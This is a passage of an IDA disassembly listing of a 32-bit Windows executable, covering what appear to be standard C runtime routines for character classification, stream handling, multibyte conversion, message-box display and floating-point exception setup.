		call	sub_40FCB4
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh

loc_41923D:				; CODE XREF: sub_41917B+A7j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_419252
		mov	eax, [ebp+var_1C]

loc_41924C:				; CODE XREF: sub_41917B+22j
		call	__SEH_epilog4
		retn
sub_41917B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419252	proc near		; CODE XREF: sub_41917B+C9p
					; DATA XREF: ev73vtp2:00421FD8o
		push	dword ptr [ebp+8]
		call	sub_418FBA
		pop	ecx
		retn
sub_419252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41925C	proc near		; CODE XREF: sub_4192AB+21p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_41928C
		lea	eax, [ebp+var_10]
		push	eax
		push	4
		push	[ebp+arg_0]
		call	sub_416D04
		add	esp, 0Ch
		jmp	short loc_41929C
; ---------------------------------------------------------------------------

loc_41928C:				; CODE XREF: sub_41925C+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 4

loc_41929C:				; CODE XREF: sub_41925C+2Ej
		cmp	[ebp+var_4], 0
		jz	short locret_4192A9
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_4192A9:				; CODE XREF: sub_41925C+44j
		leave
		retn
sub_41925C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4192AB	proc near		; CODE XREF: sub_413137+1B6p
					; sub_413137+3EFp ...

arg_0		= dword	ptr  4

		cmp	dword_425E40, 0
		jnz	short loc_4192C6
		mov	eax, [esp+arg_0]
		mov	ecx, off_423668
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 4
		retn
; ---------------------------------------------------------------------------

loc_4192C6:				; CODE XREF: sub_4192AB+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_41925C
		pop	ecx
		pop	ecx
		retn
sub_4192AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192D4	proc near		; CODE XREF: sub_419328+23p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_419307
		lea	eax, [ebp+var_10]
		push	eax
		push	80h
		push	[ebp+arg_0]
		call	sub_416D04
		add	esp, 0Ch
		jmp	short loc_419319
; ---------------------------------------------------------------------------

loc_419307:				; CODE XREF: sub_4192D4+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 80h

loc_419319:				; CODE XREF: sub_4192D4+31j
		cmp	[ebp+var_4], 0
		jz	short locret_419326
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_419326:				; CODE XREF: sub_4192D4+49j
		leave
		retn
sub_4192D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_419328	proc near		; CODE XREF: sub_413137+9DFp
					; sub_413137+AB7p

arg_0		= dword	ptr  4

		cmp	dword_425E40, 0
		jnz	short loc_419345
		mov	eax, [esp+arg_0]
		mov	ecx, off_423668
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 80h
		retn
; ---------------------------------------------------------------------------

loc_419345:				; CODE XREF: sub_419328+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_4192D4
		pop	ecx
		pop	ecx
		retn
sub_419328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419353	proc near		; CODE XREF: sub_4193A2+21p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_419383
		lea	eax, [ebp+var_10]
		push	eax
		push	8
		push	[ebp+arg_0]
		call	sub_416D04
		add	esp, 0Ch
		jmp	short loc_419393
; ---------------------------------------------------------------------------

loc_419383:				; CODE XREF: sub_419353+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8

loc_419393:				; CODE XREF: sub_419353+2Ej
		cmp	[ebp+var_4], 0
		jz	short locret_4193A0
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_4193A0:				; CODE XREF: sub_419353+44j
		leave
		retn
sub_419353	endp


; =============== S U B	R O U T	I N E =======================================



sub_4193A2	proc near		; CODE XREF: sub_413112+17p
					; sub_413137+13Cp ...

arg_0		= dword	ptr  4

		cmp	dword_425E40, 0
		jnz	short loc_4193BD
		mov	eax, [esp+arg_0]
		mov	ecx, off_423668
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8
		retn
; ---------------------------------------------------------------------------

loc_4193BD:				; CODE XREF: sub_4193A2+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_419353
		pop	ecx
		pop	ecx
		retn
sub_4193A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4193CB	proc near		; CODE XREF: sub_413137+15Ep
					; sub_413137+5BEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_4]
		or	ebp, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 40h
		push	edi
		jnz	loc_419488
		push	esi
		call	sub_412CF4
		cmp	eax, ebp
		pop	ecx
		mov	ebx, offset dword_423BB8
		jz	short loc_41941E
		push	esi
		call	sub_412CF4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_41941E
		push	esi
		call	sub_412CF4
		sar	eax, 5
		push	esi
		lea	edi, ds:433CE0h[eax*4]
		call	sub_412CF4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_419420
; ---------------------------------------------------------------------------

loc_41941E:				; CODE XREF: sub_4193CB+23j
					; sub_4193CB+2Fj
		mov	eax, ebx

loc_419420:				; CODE XREF: sub_4193CB+51j
		test	byte ptr [eax+24h], 7Fh
		jnz	short loc_419467
		push	esi
		call	sub_412CF4
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41945F
		push	esi
		call	sub_412CF4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_41945F
		push	esi
		call	sub_412CF4
		sar	eax, 5
		push	esi
		lea	edi, ds:433CE0h[eax*4]
		call	sub_412CF4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_419461
; ---------------------------------------------------------------------------

loc_41945F:				; CODE XREF: sub_4193CB+64j
					; sub_4193CB+70j
		mov	eax, ebx

loc_419461:				; CODE XREF: sub_4193CB+92j
		test	byte ptr [eax+24h], 80h
		jz	short loc_419488

loc_419467:				; CODE XREF: sub_4193CB+59j
		call	sub_40FCB4
		xor	edi, edi
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h

loc_419481:				; CODE XREF: sub_4193CB+C3j
					; sub_4193CB+CEj ...
		mov	eax, ebp

loc_419483:				; CODE XREF: sub_4193CB+11Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_419488:				; CODE XREF: sub_4193CB+Fj
					; sub_4193CB+9Aj
		mov	ebx, [esp+10h+arg_0]
		cmp	ebx, ebp
		jz	short loc_419481
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41949F
		test	al, al
		jns	short loc_419481
		test	al, 2
		jnz	short loc_419481

loc_41949F:				; CODE XREF: sub_4193CB+CAj
		xor	edi, edi
		cmp	[esi+8], edi
		jnz	short loc_4194AD
		push	esi
		call	sub_4177BC
		pop	ecx

loc_4194AD:				; CODE XREF: sub_4193CB+D9j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4194BC
		cmp	[esi+4], edi
		jnz	short loc_419481
		inc	eax
		mov	[esi], eax

loc_4194BC:				; CODE XREF: sub_4193CB+E7j
		dec	dword ptr [esi]
		test	byte ptr [esi+0Ch], 40h
		mov	eax, [esi]
		jz	short loc_4194CF
		cmp	[eax], bl
		jz	short loc_4194D1
		inc	eax
		mov	[esi], eax
		jmp	short loc_419481
; ---------------------------------------------------------------------------

loc_4194CF:				; CODE XREF: sub_4193CB+F9j
		mov	[eax], bl

loc_4194D1:				; CODE XREF: sub_4193CB+FDj
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	eax, 0FFFFFFEFh
		or	eax, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_419483
sub_4193CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4194E9	proc near		; CODE XREF: sub_413137+6FFp
					; sub_4195FC+Ep

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41950D
		cmp	[ebp+arg_8], ebx
		jz	short loc_41950D
		cmp	[esi], bl
		jnz	short loc_419513
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41950D
		mov	[eax], bx

loc_41950D:				; CODE XREF: sub_4194E9+Fj
					; sub_4194E9+14j ...
		xor	eax, eax

loc_41950F:				; CODE XREF: sub_4194E9+5Aj
					; sub_4194E9+BBj ...
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_419513:				; CODE XREF: sub_4194E9+18j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_419545
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_419534
		movzx	cx, byte ptr [esi]
		mov	[eax], cx

loc_419534:				; CODE XREF: sub_4194E9+42j
					; sub_4194E9+10Bj
		cmp	[ebp+var_4], bl
		jz	short loc_419540
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_419540:				; CODE XREF: sub_4194E9+4Ej
		xor	eax, eax
		inc	eax
		jmp	short loc_41950F
; ---------------------------------------------------------------------------

loc_419545:				; CODE XREF: sub_4194E9+3Bj
		lea	eax, [ebp+var_10]
		push	eax
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_416CC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4195D5
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0ACh]
		cmp	ecx, 1
		jle	short loc_41958B
		cmp	[ebp+arg_8], ecx
		jl	short loc_41958B
		xor	edx, edx
		cmp	[ebp+arg_0], ebx
		setnz	dl
		push	edx
		push	[ebp+arg_0]
		push	ecx
		push	esi
		push	9
		push	dword ptr [eax+4]
		call	ds:dword_41E0A0	; MultiByteToWideChar
		test	eax, eax
		mov	eax, [ebp+var_10]
		jnz	short loc_41959B

loc_41958B:				; CODE XREF: sub_4194E9+7Bj
					; sub_4194E9+80j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, [eax+0ACh]
		jb	short loc_4195B6
		cmp	[esi+1], bl
		jz	short loc_4195B6

loc_41959B:				; CODE XREF: sub_4194E9+A0j
		cmp	[ebp+var_4], bl
		mov	eax, [eax+0ACh]
		jz	loc_41950F
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_41950F
; ---------------------------------------------------------------------------

loc_4195B6:				; CODE XREF: sub_4194E9+ABj
					; sub_4194E9+B0j ...
		call	sub_40FCB4
		mov	dword ptr [eax], 2Ah
		cmp	[ebp+var_4], bl
		jz	short loc_4195CD
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4195CD:				; CODE XREF: sub_4194E9+DBj
		or	eax, 0FFFFFFFFh
		jmp	loc_41950F
; ---------------------------------------------------------------------------

loc_4195D5:				; CODE XREF: sub_4194E9+6Dj
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_10]
		push	1
		push	esi
		push	9
		push	dword ptr [eax+4]
		call	ds:dword_41E0A0	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_419534
		jmp	short loc_4195B6
sub_4194E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195FC	proc near		; CODE XREF: sub_41711A+18Ep
					; sub_41711A+1BCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4194E9
		add	esp, 10h
		retn
sub_4195FC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419620	proc near		; CODE XREF: sub_413137+9CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_419639
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_419639:				; CODE XREF: sub_419620+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_419620	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419654	proc near		; CODE XREF: sub_413D84+15Dp

var_30		= dword	ptr -30h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		call	sub_40F66B
		xor	ebx, ebx
		cmp	dword_4264E8, ebx
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		jnz	loc_419729
		push	offset aUser32_dll_0 ; "USER32.DLL"
		call	ds:off_41E0EC
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_419694

loc_41968D:				; CODE XREF: sub_419654+50j
		xor	eax, eax
		jmp	loc_4197ED
; ---------------------------------------------------------------------------

loc_419694:				; CODE XREF: sub_419654+37j
		mov	esi, ds:off_41E0F0
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; sub_4372E5
		cmp	eax, ebx
		jz	short loc_41968D
		push	eax
		call	sub_40F608
		mov	[esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		mov	dword_4264E8, eax
		call	esi ; sub_4372E5
		push	eax
		call	sub_40F608
		mov	[esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4264EC, eax
		call	esi ; sub_4372E5
		push	eax
		call	sub_40F608
		mov	dword_4264F0, eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412056
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4196F7
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D222
		add	esp, 14h

loc_4196F7:				; CODE XREF: sub_419654+94j
		cmp	[ebp+var_8], 2
		jnz	short loc_419729
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi ; sub_4372E5
		push	eax
		call	sub_40F608
		cmp	eax, ebx
		pop	ecx
		mov	dword_4264F8, eax
		jz	short loc_419729
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi ; sub_4372E5
		push	eax
		call	sub_40F608
		pop	ecx
		mov	dword_4264F4, eax

loc_419729:				; CODE XREF: sub_419654+22j
					; sub_419654+A7j ...
		mov	eax, dword_4264F4
		mov	esi, [ebp+var_10]
		cmp	eax, esi
		jz	short loc_4197A2
		cmp	dword_4264F8, esi
		jz	short loc_4197A2
		push	eax
		call	sub_40F674
		pop	ecx
		call	eax
		cmp	eax, ebx
		jz	short loc_41976F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_20]
		push	ecx
		push	1
		push	eax
		push	dword_4264F8
		call	sub_40F674
		pop	ecx
		call	eax
		test	eax, eax
		jz	short loc_41976F
		test	[ebp+var_18], 1
		jnz	short loc_4197A2

loc_41976F:				; CODE XREF: sub_419654+F4j
					; sub_419654+113j
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41208D
		test	eax, eax
		pop	ecx
		jz	short loc_41978A
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D222
		add	esp, 14h

loc_41978A:				; CODE XREF: sub_419654+127j
		cmp	[ebp+var_C], 4
		jb	short loc_419799
		or	[ebp+arg_8], 200000h
		jmp	short loc_4197D3
; ---------------------------------------------------------------------------

loc_419799:				; CODE XREF: sub_419654+13Aj
		or	[ebp+arg_8], 40000h
		jmp	short loc_4197D3
; ---------------------------------------------------------------------------

loc_4197A2:				; CODE XREF: sub_419654+DFj
					; sub_419654+E7j ...
		mov	eax, dword_4264EC
		cmp	eax, esi
		jz	short loc_4197D3
		push	eax
		call	sub_40F674
		pop	ecx
		call	eax
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_4197D3
		mov	eax, dword_4264F0
		cmp	eax, esi
		jz	short loc_4197D3
		push	[ebp+var_4]
		push	eax
		call	sub_40F674
		pop	ecx
		call	eax
		mov	[ebp+var_4], eax

loc_4197D3:				; CODE XREF: sub_419654+143j
					; sub_419654+14Cj ...
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	dword_4264E8
		call	sub_40F674
		pop	ecx
		call	eax

loc_4197ED:				; CODE XREF: sub_419654+3Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419654	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F2	proc near		; CODE XREF: sub_413D84+27p
					; sub_413D84+38p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jl	short loc_41981B
		cmp	ecx, 2
		jle	short loc_41980E
		cmp	ecx, 3
		jnz	short loc_41981B
		mov	eax, dword_425AFC
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41980E:				; CODE XREF: sub_4197F2+Ej
		mov	eax, dword_425AFC
		mov	dword_425AFC, ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41981B:				; CODE XREF: sub_4197F2+9j
					; sub_4197F2+13j
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_4197F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_419838	proc near		; CODE XREF: sub_419DCA+5Fp
					; DATA XREF: sub_41494F:loc_414991o
		xor	eax, eax
		retn
sub_419838	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_294. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41983C	proc near		; CODE XREF: sub_41989Cp
		mov	eax, offset sub_41B3BA
		mov	off_423F60, eax
		mov	off_423F64, offset sub_41AAB6
		mov	off_423F68, offset sub_41AA74
		mov	off_423F6C, offset sub_41AAA8
		mov	off_423F70, offset word_41AA1E
		mov	off_423F74, eax
		mov	off_423F78, offset sub_41B334
		mov	off_423F7C, offset sub_41AA34
		mov	off_423F80, offset sub_41A99E
		mov	off_423F84, offset sub_41A92D
		retn
sub_41983C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41989C	proc near		; CODE XREF: sub_4120C9+1Cp
					; DATA XREF: ev73vtp2:off_41FD60o

arg_0		= dword	ptr  4

		call	sub_41983C
		call	sub_41B440
		cmp	[esp+arg_0], 0
		mov	dword_426500, eax
		jz	short loc_4198B7
		call	sub_41B3DB

loc_4198B7:				; CODE XREF: sub_41989C+14j
		fnclex
		retn
sub_41989C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198BA	proc near		; CODE XREF: sub_419EBB+4Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	cl, byte ptr [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[eax+4], edi
		mov	eax, [ebp+arg_0]
		xor	ebx, ebx
		mov	[eax+8], edi
		mov	eax, [ebp+arg_0]
		inc	ebx
		test	cl, 10h
		mov	[eax+0Ch], edi
		jz	short loc_4198EC
		mov	eax, [ebp+arg_0]
		or	[eax+4], ebx
		mov	[ebp+arg_8], 0C000008Fh

loc_4198EC:				; CODE XREF: sub_4198BA+23j
		test	cl, 2
		jz	short loc_4198FF
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 2
		mov	[ebp+arg_8], 0C0000093h

loc_4198FF:				; CODE XREF: sub_4198BA+35j
		test	cl, bl
		jz	short loc_419911
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 4
		mov	[ebp+arg_8], 0C0000091h

loc_419911:				; CODE XREF: sub_4198BA+47j
		test	cl, 4
		jz	short loc_419924
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 8
		mov	[ebp+arg_8], 0C000008Eh

loc_419924:				; CODE XREF: sub_4198BA+5Aj
		test	cl, 8
		jz	short loc_419937
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 10h
		mov	[ebp+arg_8], 0C0000090h

loc_419937:				; CODE XREF: sub_4198BA+6Dj
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shl	ecx, 4
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 10h
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		add	ecx, ecx
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 8
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 1
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 4
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 3
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 2
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 5
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, ebx
		xor	[eax+8], ecx
		call	sub_41A0BA
		test	al, bl
		jz	short loc_4199A6
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4199A6:				; CODE XREF: sub_4198BA+E3j
		test	al, 4
		jz	short loc_4199B1
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4199B1:				; CODE XREF: sub_4198BA+EEj
		test	al, 8
		jz	short loc_4199BC
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_4199BC:				; CODE XREF: sub_4198BA+F9j
		test	al, 10h
		jz	short loc_4199C7
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 2

loc_4199C7:				; CODE XREF: sub_4198BA+104j
		test	al, 20h
		jz	short loc_4199D1
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_4199D1:				; CODE XREF: sub_4198BA+10Fj
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_419A11
		cmp	eax, 400h
		jz	short loc_419A05
		cmp	eax, 800h
		jz	short loc_4199F6
		cmp	eax, ecx
		jnz	short loc_419A17
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_419A17
; ---------------------------------------------------------------------------

loc_4199F6:				; CODE XREF: sub_4198BA+12Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, 2

loc_419A01:				; CODE XREF: sub_4198BA+155j
		mov	[eax], ecx
		jmp	short loc_419A17
; ---------------------------------------------------------------------------

loc_419A05:				; CODE XREF: sub_4198BA+127j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx
		jmp	short loc_419A01
; ---------------------------------------------------------------------------

loc_419A11:				; CODE XREF: sub_4198BA+120j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_419A17:				; CODE XREF: sub_4198BA+132j
					; sub_4198BA+13Aj ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_419A42
		cmp	eax, 200h
		jz	short loc_419A35
		cmp	eax, ecx
		jnz	short loc_419A4F
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_419A4F
; ---------------------------------------------------------------------------

loc_419A35:				; CODE XREF: sub_4198BA+16Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_419A4D
; ---------------------------------------------------------------------------

loc_419A42:				; CODE XREF: sub_4198BA+166j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_419A4D:				; CODE XREF: sub_4198BA+186j
		mov	[eax], ecx

loc_419A4F:				; CODE XREF: sub_4198BA+171j
					; sub_4198BA+179j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		shl	ecx, 5
		xor	ecx, [eax]
		and	ecx, 1FFE0h
		xor	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		cmp	[ebp+arg_18], edi
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_14]
		jz	short loc_419A99
		and	dword ptr [eax+20h], 0FFFFFFE1h
		mov	eax, [ebp+arg_10]
		fld	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	dword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+60h], ebx
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+60h], 0FFFFFFE1h
		fld	dword ptr [edi]
		mov	eax, [ebp+arg_0]
		fstp	dword ptr [eax+50h]
		jmp	short loc_419ACD
; ---------------------------------------------------------------------------

loc_419A99:				; CODE XREF: sub_4198BA+1B7j
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, 2
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+60h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		and	ecx, 0FFFFFFE3h
		or	ecx, 2
		mov	[eax+60h], ecx
		fld	qword ptr [edi]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+50h]

loc_419ACD:				; CODE XREF: sub_4198BA+1DDj
		call	sub_41A0C5
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:off_41E1A0
		mov	ecx, [ebp+arg_0]
		test	byte ptr [ecx+8], 10h
		jz	short loc_419AEE
		and	dword ptr [esi], 0FFFFFFFEh

loc_419AEE:				; CODE XREF: sub_4198BA+22Fj
		test	byte ptr [ecx+8], 8
		jz	short loc_419AF7
		and	dword ptr [esi], 0FFFFFFFBh

loc_419AF7:				; CODE XREF: sub_4198BA+238j
		test	byte ptr [ecx+8], 4
		jz	short loc_419B00
		and	dword ptr [esi], 0FFFFFFF7h

loc_419B00:				; CODE XREF: sub_4198BA+241j
		test	byte ptr [ecx+8], 2
		jz	short loc_419B09
		and	dword ptr [esi], 0FFFFFFEFh

loc_419B09:				; CODE XREF: sub_4198BA+24Aj
		test	[ecx+8], bl
		jz	short loc_419B11
		and	dword ptr [esi], 0FFFFFFDFh

